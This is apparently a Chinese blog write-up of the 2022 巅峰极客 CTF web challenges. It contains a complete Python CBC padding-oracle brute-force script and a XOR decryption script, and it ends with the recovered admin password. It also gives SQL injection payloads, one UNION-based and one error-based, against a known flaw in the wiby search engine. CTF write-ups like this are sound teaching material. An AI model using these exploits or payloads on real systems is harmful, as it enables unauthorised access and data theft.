巅峰极客2022wp

ServiceNowAPI:简单的Python实用程序和Web表单来调用ServiceNow API ServiceNowAPI 简单的Python实用程序和Web表单来调用ServiceNow API 安装 将Python 3.X与“ requests”软件包一起安装在您的计算机上。 修改snow.py中API变量的默认值,然后将该文件放在Web服务器的/ cgi-bin(或其他适当的目录)下。 将snow.html和snow-top.html拖放到您的Web服务器或任何本地文件夹上。 (如果snow.py未保存在/ cgi-bin下,请确保根据需要更新snow-top.html中的“操作”。) 用法 只需打开snow.html,填写参数,然后单击提交! 立即下载

巅峰极客2022

web

babyweb

image-20220817191658427

提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[NPUCTF2020]web狗

原理简单讲一下,这道题的逻辑大概就是,cookie传入一个admin_password的base64值,然后后端进行解密,因为是采用了CBC模式,所以可以构造这个base64的值进行爆破中间值。具体的爆破原理可以看文章https://www.cnblogs.com/ntestoc/p/11044433.html

这道题是采用的PKCS7,也就是16字节为一组进行分组,题目给的password是64字节的,其中前16个字节是初始IV偏移,然后利用我写的exp一组一组爆破就行了,爆破需要时间,这是非常恶心的一点

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 14:11
# @Author : pysnow
import requests
import time
import base64

enc = base64.b64decode("KBLR73Xs+27+jqaDJxxn5m4dhT0JKrZO7ZrdTDKwY4MWT99pwDAr+Doinyc7Z7aQcWMIJXj1X26zfQIzsKJmpQ==")
iv = enc[:16]
a = enc[16:32]
b = enc[32:48]
c = enc[48:64]
N = 16
middle = b""
m = b''
jwt = '; session=eyJhZG1pbl9wYXNzd29yZCI6IktCTFI3M1hzKzI3K2pxYURKeHhuNW00ZGhUMEpLclpPN1pyZFRES3dZNE1XVDk5cHdEQXIrRG9pbnljN1o3YVFjV01JSlhqMVgyNnpmUUl6c0tKbXBRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvyqfg.rne4FOqd4fwNXCQxvbDkQq7iTCE'
url = 'http://eci-2ze5c6hgy29ykascmvi4.cloudeci1.ichunqiu.com/login'


def xor(a, b):
    return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])


def byte(key):
    return key.to_bytes(1, 'big')


for step in range(1, N + 1):
    padding = byte(step) * (step - 1)
    print("爆破的最后{}位".format(step))
    for i in range(0, 256):
        # print(i)
        new_iv = byte(0) * (N - step) + byte(i) + xor(padding, middle)
        data = {
            "username": "admin", "passxxxx": "xxmin"
        }
        payload = new_iv + a
        # print(len(payload))
        headers = {
            "Cookie": "admin_password=" + base64.b64encode(payload).decode() + jwt
        }
        # print(base64.b64encode(payload).decode())
        r = requests.post(url=url, data=data, headers=headers)
        time.sleep(0.01)
        # print(i, r.text)
        if r.text == "False":
            print(i, r.text)
            middle = xor(byte(i), byte(step)) + middle
            print(middle)
            break

注意修改的一点

payload = new_iv + a

比如说你要爆破第一组就这么写

要爆破第二组就如下方式写

payload = a + new_iv + b

理论上是可以只写两组的,没试过,我感觉应该可以

然后将爆破得到的中间值跟前一组的密文(也就是偏移)进行异或一下就得到明文

下面是异或脚本

# -*- coding: utf-8 -*-
# @Time : 2022/8/17 17:29
# @Author : pysnow
# mid = b" z\xe9^\xcc<'\xf46.\x93+7k\xba\x9c"
# mid = b'X)\xa8\x05<K\x83c\xd4\xa3\xe5-\x02\xd1\x06\xe5'
mid = b'Lp\xe1\xdeF\xd8\xc8\x0f\xd3\xbb\x96\xb4\x131S\x80'
// mid为三次中间值
iv = b"(\x12\xd1\xefu\xec\xfbn\xfe\x8e\xa6\x83'\x1cg\xe6"
b = b'\x16O\xdfi\xc00+\xf8:"\x9f\';g\xb6\x90'
a = b'n\x1d\x85=\t*\xb6N\xed\x9a\xddL2\xb0c\x83'


def xor(a, b):
    return b"".join([byte((a[i] ^ b[i])) for i in range(0, len(a))])


def byte(key):
    return key.to_bytes(1, 'big')


print(xor(mid, iv))

最后爆破出密码为db01343a-5074-4f64-85a5-998a0aef6567\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

admin使用db01343a-5074-4f64-85a5-998a0aef6567密码登陆得到flag

image-20220817192658895

ezWeb

下载附件可以看到flag分为两部分放在了flag1和flag2表里面

#!/bin/bash

export FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh

而且赋予了不同的权限

robots.txt文件给出了账号密码admin/admin888

在github上找到该项目,查看issue发现这个存在历史漏洞,sql注入和csrf

因为给了admin密码,那就不需要再通过csrf获取密码了

https://github.com/wibyweb/wiby/issues/1

有两个地方存在注入点,直接给出我的exp,第一处特别简单,也没啥过滤啥的,第二出过滤了select,可以利用mysql8的性质配合报错注入进行bypass

http://123.56.45.214:27423/tags/tags.php
url=-1"union select flag from `flag2`%23
http://123.56.45.214:27423/review/review.php
updatable1=1&worksafe1=on&crawldepth1=&crawlpages1=&crawltype1=0&startid=1&endid=0/**/and/**/extractvalue(1,concat(0x5c,(table/**/flag1)))
深入解析LinuxCNC源码:从界面开发到硬件交互 本文深入解析LinuxCNC开源数控系统的源码架构与二次开发实践。详细介绍了从GTK+界面定制、Python脚本绑定,到硬件抽象层(HAL)配置与核心运动控制模块的完整开发流程。通过实战案例,帮助开发者掌握如何基于LinuxCNC源码进行界面开发和硬件交互定制,实现个性化数控系统。 阅读详情

相关推荐

机器学习系列(1)_逻辑回归初步

1、总述 逻辑回归是应用非常广泛的一个分类机器学习算法,它将数据拟合到一个logit函数(或者叫做logistic函数)中,从而能够完成对事件发生的概率进行预测。 2、由来     要说逻辑回归,我们得追溯到线性回归,想必大家对线性回归都有一定的了解,即对于多维空间中存在的样本点,我们用特征的线性组合去拟合空间中点的分布和轨迹。如下图所示:     线性回归能对连续值结果进行预测,

寒小阳 13万+

2022巅峰极客WriteUp By EDISEC

2022巅峰极客WriteUp By EDISEC

qq_45603443的博客 2676

Synopys 验证系列-EDA 总结

VC Formal 解决方案包括一整套正式应用程序 (App),包括属性验证 (FPV)、自动提取属性 (AEP)、覆盖分析器 (FCA)、连接性检查 (CC)、时序等效性检查 (SEQ)、寄存器验证 (FRV)、测试平台分析仪 (FTA)、形式导航器 (NAV) 以及用于验证标准总线协议的一组断言 IP (AIP)。

qq_41289491的博客 1428

[巅峰极客2023]wp复现

简单的说,就是通过查询多个大的表,导致产生笛卡尔积,造成查询数量多,所以会产生延时的效果。没写出这题的原因,以为只能通过逃逸改变属性值,结果可以反序列化对象里的对象。都被过滤了,我们怎么才能够一边查询多表导致笛卡尔积,一边进行盲注呢?等等,普通的延时注入肯定不行,关键词都被ban了。对象的序列化字符串,由于对象成员变量的权限是。序列化后字符串的形式了,接下来我们只需要闭合。,这个是8进制的写法,然后编码之后就能转为。的字符,该字符不可见(也算作一个字符)可以重复14次,就逃逸出28个字符了,

leekos的博客,分享web安全相关知识~ 1198

2023电视专用!安卓电子相册APP避坑指南(附开源代码)

本文针对2023年智能电视用户,提供安卓电子相册APP的避坑指南与实战教程。文章详细解析了电视端相册应用的常见广告与兼容性陷阱,并指导用户如何安全获取、部署纯净的APK应用,通过核心设置实现无广告的个性化图片轮播体验,最终打造专属的家庭回忆墙。

weixin_29012677的博客 496

UE5 Metahuman与Blender手动绑定:ARKit面部动画实战对比

面部动画是角色动画领域的核心技术,其核心原理在于通过驱动面部骨骼或混合形状来模拟真实肌肉运动,从而赋予数字角色生命力。这项技术的价值在于极大地提升了虚拟角色的表现力与沉浸感,广泛应用于游戏开发、影视制作、虚拟现实和实时交互应用。在技术实现路径上,开发者常面临工业化集成方案与高度自定义方案的选择。本文聚焦于使用行业标准的ARKit 52个面部混合形状数据,深度对比了虚幻引擎Metahuman的工业化流程与Blender手动绑定方案在视觉保真度、工作流效率、性能开销和扩展性上的差异,为不同项目规模与技术需求的团

weixin_33901926的博客 449

极客大挑战2023 Web方向题解wp 全

极客大挑战2023 Web方向题解wp 全

Jay17的博客 9409

Python-uiautomator2保姆级安装指南:从环境配置到设备连接全流程

本文提供Python-uiautomator2的保姆级安装指南,涵盖从环境配置到设备连接的全流程。详细介绍了Python 3.6+、ADB工具等核心组件的准备,以及uiautomator2的安装和设备端服务初始化步骤,帮助开发者快速搭建Android自动化测试环境,避免常见问题。

nnn11的博客 940

巅峰极客2022初赛 部分题解

巅峰极客2022初赛 部分题解

weixin_51122085的博客 2983

【AI理论学习】深入理解扩散模型:Diffusion Models(DDPM)(理论篇)

继OpenAI在2021提出的文本转图像模型之后,越来越多的大公司卷入这个方向,例如谷歌相继推出了和。一些主流的文本转图像模型,例如,和采用了扩散模型()作为图像生成模型,这也引发了对扩散模型的研究热潮。与GAN相比,扩散模型训练更稳定,而且能够生成更多样的样本,OpenAI的论文也证明了

小哲的博客 5213

uniapp - 解决 uni.chooseImage 在苹果 IOS 真机上点击没反应的问题,苹果手机点击 uni.chooseImage方法不生效,也不报任何错误(解决苹果ios系统点击无效问题)

uniapp小程序h5网页苹果ios系统点击uni.chooseImage不执行点击无效,uniapp使用uni.chooseImage方法点击没反应怎么办,uniappuni.chooseImage在ios苹果手机运行点击不触发,uniappuni.chooseImage苹果ios系统点击无效,uniapp项目ios端云打包之后uni.chooseImage不生效了,uniapp打包之后uni.chooseImage()无法打开相机,uniapp苹果手机无法打开相机和相册,uniapp网页h5微信支

🏆 前端领域优质创作者 1万+

第十五届巅峰极客wp_web

本文记录了第十五届巅峰极客 Web 部分的解题过程,队伍最终排名第13名。涉及多个 Web 安全领域的挑战,包括 XSS、SSTI 模板注入、SSRF、Flask session 伪造、pickle 反序列化、文件上传、文件包含、JWT 漏洞等。每个挑战都提供了详细的漏洞分析和利用方法,以及相应的 payload 和解决方案。

Yu4xr的博客 1399

LoRa无线通信技术介绍(六)SX127X芯片收发程序讲解

接收LORA芯片SX127X的收发程序。

DT程序员的博客 1752

2020巅峰极客wp

2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以’-‘为间隔,将flag的第一部分转换为整型数字,并且满足后项-前项分别为[0x13,0x19,0x1a,0x1c]。最后一项为len(flag)-lastpos(’-’) 以’-'为间隔,将中间的字符串分别存储到road中 checkflag,即走四个20x…的迷宫,从s->d。以第1点存储的顺序,决定迷宫的顺序。通过确定后面的字符串顺序,前面的数字也会被确定。

BIAUTUMN的博客 1005

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

巅峰极客pwn wp

2022巅峰极客pwn wp

N1rvana的博客 938

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

2023巅峰极客 unserialize wp

前面逃逸出来的这些字符已经变成username串中的一部分了,我们在pwd中也需要加入这些进行闭合(这里的%00我们不能直接这么写,需要编码后才为%00,所以我们可以先写成\000,这个是8进制的写法,然后编码之后就能转为%00,但是在php中需要使用双引号才能识别\000)O:7:“push_it”:2:{s:13:“%00push_it%00root”;

qing_chuan_的博客 990

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

巅峰极客2023misc wp

得到提示密码是常见的六位弱口令,事实上用ARCHPR去爆破 flag.txt文件是一两个小时出不来的,上面也给出提示说不要去爆破密码,所以我们回过头来看看其他的文件夹里面有什么。010editor打开,发现第一张的十六进制数据比第二种多,前一小部分是相同的,直接手提文件。观察其他的文件夹里面的东西,根据题目的描述信息:网易云,上号。根据官方给的提示,开始头脑风暴,M所在的位置,奇数则转换为0,偶数转换为1。正确的是修复压缩包的文件头,但是我直接foremost分离得到三个文件夹。@# 得到flag。

fivesheeptree的博客 540

极客巅峰第二场wp

已经更新 地址:https://www.o2oxy.cn/1749.html 转载于:https://www.cnblogs.com/liang2580/p/9538319.html

weixin_30471065的博客 298

2024 第七届“巅峰极客”网络安全技能挑战赛初赛 wp

WEBEncirclingGame题目描述:A simple game, enjoy it and get the flag when you complete it.开题,前端小游戏,红点出不去就行直接玩通关了看看如何不玩也能拿到flag,flag存储在后端php文件内,前端找不到。看一下游戏的请求包,里面记录了红点的最后位置和防火墙(黑点)的位置。那么我们伪造下,防火墙绕满周围一圈,但是红点...

渗透测试研究中心 1636

2021巅峰极客逆向baby_maze题wp

IDA分析发现题目所谓的迷宫没有一个数据结构来表示,而是每一个函数就是一关: 输入S后进入下一关: 然后一直过关到这个函数: 开始的时候我没注意看有多少个函数,以为就几十个,手工用crossref从结果逆推,搞了很久发现有问题,然后已统计,发现有7000多个函数(关),看来只能写脚本跑。 用IDA导出C代码,然后写python脚本处理,先解析每个关卡的函数,得到一个字典: 再用穷举路径来爆破,可以得到正确的输入: import sys with open(r'F:\share\20210731\ba

sln_1550的博客 618

2021巅峰极客逆向medical_app题wp

这题附件是个apk,查看了下dex,解密用的是原生so,直接把so拖入IDA: v3是输入的flag值,ss是加密后的正确值: 先看z4函数: 闻到一股茶的味道; 再看z3和z3函数: 感觉是RC4,等会先验证下: XXTEA的密钥和RC4的密钥都是d: 写脚本解密得到RC4后的flag: 5604b0d49c634d3096cec00593be3b82524b16b28a33b74d6d7b9950c2b10c12e1840a93 然后再解RC4即可得到flag: 这题感觉最简单,不知道为啥

sln_1550的博客 681

[巅峰极客 2024]GoldenHornKing

[巅峰极客 2024]GoldenHornKing的WP

alomaner的博客 705

2021巅峰极客逆向so_get_sourcecode题wp

这题乍一看是个web,上传php马以后,可以看到flap.php,但是下载下来却是一堆乱码: 查看容器中运行了nginx和phpfpm,推测是这两个用了插件,对源码进行了加密: 依次查看nginx的php应用和模块,发现有个php_screw_plus.so很可疑。反编译后确认了此模块对文件对php文件解密后进行执行。 在github上也搜到了该项目screw-plus项目源码 下载后编译screw程序,记得要修改成so文件里的密钥,如下图红框位置: 然后运行,对源码目录进行解密: 满怀激动的打开fl

sln_1550的博客 749

巅峰极客(MISC)

关于巅峰极客写一下wp吧 毕竟自己那么菜(留给以后的自己看吧QAQ) 这一篇主要是关于杂项的(不简单呀!自己太渣了) 第一题:签到题: 直接打开就可以看到答案:flag{the_greatest_geek} 下面是杂项的内容: warmup 用stegsolve.jar打开图片,Analyse→Data Extract,...

weixin_33810006的博客 550

2023-7-26 巅峰极客复现

题找不到了,只能学学原理了 hellosql 这道过滤了sleep等所有的延时函数,大佬的方式是用计算笛卡尔积的方式达到延时的效果 这种方式能够达到延时的效果,但是比较不稳定,如果表中数据太少可能会达不到延时的效果,如果数据太多有可能会让网站崩溃 大佬wp中的代码: import requests # sql = "select group_concat(table_name) from...

strider1123的博客 188

2024-7-21巅峰极客

菜鸡打ctf,做了一天牢,算上签到题一共做上两道 签到 数学但高中 给出了一大串,一开始没看懂,学姐提醒才知道要画图 python太菜,只好手动一个一个粘 公式画图网址:https://www.desmos.com/calculator?lang=zh-CN 最后生成的图片: 然后试了半天sql没注进去,大佬的代码也没看懂 1 import requests 2 3 # ...

strider1123的博客 133
上一篇: corCTF2022 Web
下一篇: 网鼎杯2022青龙组
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值